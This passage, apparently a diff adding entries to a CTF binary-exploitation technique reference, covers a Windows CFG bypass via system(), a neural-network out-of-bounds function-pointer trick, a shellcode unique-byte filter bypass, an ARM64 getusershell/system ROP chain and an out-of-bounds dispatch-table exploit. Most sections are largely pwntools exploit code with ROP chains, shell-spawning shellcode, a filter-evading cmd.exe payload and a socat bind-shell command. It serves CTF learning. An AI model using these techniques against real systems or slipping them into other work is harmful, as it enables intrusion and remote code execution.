+ **Pattern:** Windows Control Flow Guard (CFG) validates indirect call targets at runtime, but `system()` from msvcrt is a valid CFG target, enabling exploitation via function pointer overwrite.
400
+
401
+ ```python
402
+ from pwn import *
403
+
404
+ # On Windows with CFG, overwrite function pointer with system()
405
+ # system() is a valid call target in CFG bitmap — it's a legitimate API entry point
406
+ # CFG only validates that the target is a valid function start, not WHICH function
407
+
408
+ # If input filter blocks space (0x20), use comma as argument separator
409
+ # cmd.exe treats comma as equivalent to space in argument lists
410
+ payload = b"type,flag.txt&whoami^/all\x00"
411
+ # 'type,flag.txt' works because cmd.exe treats comma as argument separator
412
+ # ^ escapes the / character
413
+ # & chains commands
414
+
415
+ # Exploit chain:
416
+ # 1. Leak module base (defeat ASLR)
417
+ # 2. Find system() address via IAT or known offset in msvcrt
418
+ system_addr = msvcrt_base + system_offset
419
+
420
+ # 3. Overwrite a function pointer (vtable entry, callback, etc.)
421
+ write_addr(vtable_entry, system_addr)
422
+
423
+ # 4. Trigger the indirect call with controlled first argument
424
+ # The overwritten pointer now calls system(attacker_string)
425
+ trigger_call(payload)
426
+ ```
427
+
428
+ ```c
429
+ // Alternative: if building a local exploit, bypass character filters
430
+ // Comma replaces space, ^ escapes special chars
431
+ // system("type,flag.txt") == system("type flag.txt")
432
+ // system("cmd,/c,dir") == system("cmd /c dir")
433
+ ```
434
+
435
+ **Key insight:** CFG only validates that the target is a valid function entry point -- it does not restrict which function is called. Since `system()` is a legitimate API exported by msvcrt, it passes CFG validation. Use comma instead of space and `^` for escaping when the input filter restricts certain characters. This applies to any Windows binary with CFG where you can overwrite an indirect call target.
436
+
437
+ **When to recognize:** Windows binary with CFG enabled (check with `dumpbin /headers` or `winchecksec`). Look for writable function pointers (vtables, callbacks, C++ objects) that are called via indirect `call [reg]` instructions. CFG prevents jumping to arbitrary code but allows calling any valid function.
438
+
439
+ **References:** Insomni'hack 2017
440
+
441
+ ---
442
+
443
+ ## Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
444
+
445
+ **Pattern:** Binary uses a neural network to compute an index into a function pointer array without bounds checking. Edit neuron weights/biases to make the network output an out-of-bounds index pointing to win function.
446
+
447
+ **Attack chain:**
448
+ 1. Reverse engineer the NN architecture: input layer -> hidden layer -> output neuron
449
+ 2. Identify the function pointer array and the target `print_flag` function at index 19 (beyond valid range)
450
+ 3. The bias array is stored as IEEE 754 doubles -- the target address can be encoded directly as a bias value
451
+ 4. Retrain/edit weights so the network's output neuron produces index 19 for any input
452
+ 5. The OOB index reads from the biases array, interpreting the `print_flag` address as a function pointer
453
+
454
+ ```python
455
+ import struct
456
+ import numpy as np
457
+
458
+ # Target: function pointer array has 10 valid entries (indices 0-9)
459
+ # print_flag is at a known address, need index 19 to reach it in memory
460
+ target_index = 19
461
+
462
+ # The NN output is: sigmoid(sum(w_i * x_i) + bias) * num_functions
463
+ # To force output = 19, adjust weights and biases:
464
+ # Set all hidden->output weights to 0 except bias
465
+ # bias = inverse_sigmoid(19 / num_entries) ... but simpler:
466
+
467
+ # Overwrite the bias in the model file to encode print_flag address
468
+ print_flag_addr = 0x08048686
469
+ bias_bytes = struct.pack('<d', float(target_index))
470
+
471
+ # Patch the model weights file
472
+ with open('model.bin', 'r+b') as f:
473
+ f.seek(bias_offset)
474
+ f.write(bias_bytes)
475
+
476
+ # When the NN runs: output index = 19 -> array[19] reads from biases
477
+ # biases[offset] contains print_flag address as IEEE 754 double
478
+ ```
479
+
480
+ **Key insight:** The target address (`print_flag`) is encoded as an IEEE 754 double in the biases array. The NN is retrained to output index 19 (beyond the valid array), which reads the bias value as a function pointer. Neural network models that compute array indices without bounds checking turn ML parameter editing into arbitrary function dispatch.
481
+
482
+ ---
483
+
484
+ ## Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
485
+
486
+ **Pattern:** When shellcode is limited to N unique bytes, use the first run to spray the stack with push instructions, corrupting the uniqueness counter (`seen[256]`). Arrange re-execution of main (skipping `memset`) so the counter overflows below N, then send arbitrary shellcode on the second run.
487
+
488
+ **Exploitation strategy:**
489
+ 1. The binary checks `seen[256]` on the stack to count unique bytes in shellcode
490
+ 2. If more than N unique bytes are found, execution is rejected
491
+ 3. First payload uses only a few unique bytes but sprays the stack with `push` instructions
492
+ 4. The `push` spray overwrites the `seen[256]` counter array on the stack
493
+ 5. Arrange the shellcode to jump back to `main` but past the `memset` that clears `seen[]`
494
+ 6. On the second run, the corrupted counter already shows values above threshold, and overflow arithmetic causes the unique count to appear below N
495
+
496
+ ```python
497
+ from pwn import *
498
+
499
+ # First run: corrupt seen[] counter via stack spray
500
+ # Use minimal unique bytes: pop rbx, dec rbx, push rbx, inc rsp, jmp rbx
501
+ payload1 = asm("pop rbx; " + ("dec rbx; " * (0x72f - 0x6d2)) +
502
+ ("push rbx; " * 64) + "inc rsp; jmp rbx")
503
+ io.send(payload1)
504
+
505
+ # Second run: full shellcode passes because seen[256] overflowed back to <7
506
+ payload2 = asm(shellcraft.sh())
507
+ io.send(payload2)
508
+ io.interactive()
509
+ ```
510
+
511
+ **Key insight:** The unique-byte counter lives on the stack at `seen[256]`. Spraying the stack with push instructions during the first shellcode run corrupts this counter. When main re-executes without clearing the array, the overflowed counter allows arbitrary bytes in the second payload. Any stack-resident validation state can be corrupted by shellcode that targets the stack frame above it.
512
+
513
+ ---
514
+
515
+ See [advanced-exploits.md](advanced-exploits.md) for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
516
+
517
+ See [rop-advanced.md](rop-advanced.md) for `.fini_array` hijack details.
518
+
519
+ See [sandbox-escape.md](sandbox-escape.md) for shell tricks and restricted environment techniques.
520
+
521
+ ---
522
+
523
+ ## ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
524
+
525
+ **Pattern:** ARM64 `system()` requires `x0` to hold the pointer to the command string. Full ASLR + mangled PLT leave no clean one-gadget. But libc's `getusershell()` returns a pointer to the static string `"/bin/sh"` inside libc itself, and places it in `x0` as its return value. A two-call ROP chain — `getusershell()` then `system()` — wins without needing any register-loading gadget.
526
+
527
+ ```python
528
+ from pwn import *
529
+ libc = ELF("./libc-2.27.so")
530
+
531
+ def get_libc_base(leak):
532
+ return leak - libc.symbols["printf"]
533
+
534
+ libc_base = get_libc_base(leak_from_bug)
535
+ libc.address = libc_base
536
+
537
+ rop = ROP(libc)
538
+ rop.raw(rop.find_gadget(["ret"]).address) # align stack
539
+ rop.call(libc.symbols["getusershell"]) # x0 ← "/bin/sh" (side effect)
540
+ rop.call(libc.symbols["system"]) # system("/bin/sh")
541
+
542
+ payload = cyclic(offset_to_pc) + rop.chain()
543
+ io.sendline(payload)
544
+ io.interactive()
545
+ ```
546
+
547
+ **Key insight:** ARM64 has far fewer stack-popping gadgets than x86-64, so classic `pop rdi; ret` chains rarely exist. Instead look for *libc functions whose return value is a constant pointer that gets stored in the ABI's first-arg register*: `getusershell()`, `getenv("SHELL")`, `getpwuid(0)->pw_shell`, `tmpnam()`. Chain any of them with `system()`/`execve()` and you get an implicit arg-setup for free. This trick generalises to any calling convention where the return register equals the first-arg register (ARM32/64, MIPS, RISC-V).
548
+
549
+ **References:** HITCON CTF 2018 — tooooo, writeup 11908
550
+
551
+ ---
552
+
553
+ ## OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
554
+
555
+ **Pattern (pwn6):** Multi-command server dispatches incoming messages through a per-user function-pointer array:
556
+
557
+ ```asm
558
+ mov rax, [rax + rdx*8 + 0x8] ; rdx = attacker-controlled index (u32 field of message)
559
+ call rax
560
+ ```
561
+
562
+ The allowed-commands check reads `[rax + rdx*8]` for a null-pointer slot but never validates that `rdx` is in range — so any negative or large index pulls an adjacent memory qword into `rax` and calls it. Pick an `rdx` that lands on a stack-pivot gadget (`add rsp, 0x58; ret`) so the subsequent `call` leaves the message payload (also placed at `rsp+0x58`) as a full ROP chain.
563
+
564
+ ```python
565
+ import pwn
566
+
567
+ STACK_PIVOT = 0x409070 # add rsp, 0x58; ret
568
+ POP_RDI = 0x4021ce
569
+ POP_RAX = 0x409073
570
+ MOV_QW_RAX_RDI = 0x408e46 # mov [rax+0x10], rdi; ret -> arbitrary write
571
+ SYSTEM_PLT = 0x401a10
572
+ BINSH = 0x006d1000 # writable BSS slot we populate first
573
+
574
+ def array_lookup(rdx, payload):
575
+ # Message format: cmd=0x0a, 2-byte flags, then 32-bit rdx, then payload
576
+ return b'\x0a' + b'\x00'*2 + b'\x00' + pwn.p32(rdx - 4) + payload
577
+
578
+ rop = pwn.p64(STACK_PIVOT)
579
+ rop += write_what_where(b'socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH)
580
+ rop += pwn.p64(POP_RDI) + pwn.p64(BINSH)
581
+ rop += pwn.p64(0x401e7c) * 3 # ret-slides for 16-byte alignment
582
+ rop += pwn.p64(SYSTEM_PLT)
583
+
584
+ p = pwn.remote('127.0.0.1', 6210)
585
+ p.send(array_lookup(0x6c, rop)) # rdx=0x6c -> points at pivot gadget
586
+ ```
587
+
588
+ **Key insight:** Every "permission check" that inspects an entry of a dispatch table (`table[i] != NULL`) is useless unless bounds are enforced *before* the read. When the read has the shape `mov rax, [base + rdx*8 + C]`, any aligned 8-byte qword in the binary can be reached as a function pointer without needing to overflow or corrupt anything. Scan the binary for useful function-pointer-shaped qwords within ±0x1000 of `base`; stack pivots that reach a large message buffer produce a full ROP without further bugs, since the pivot lands RSP exactly on attacker data.
589
+
590
+ **References:** TAMUctf 2019 — pwn6, writeup 13479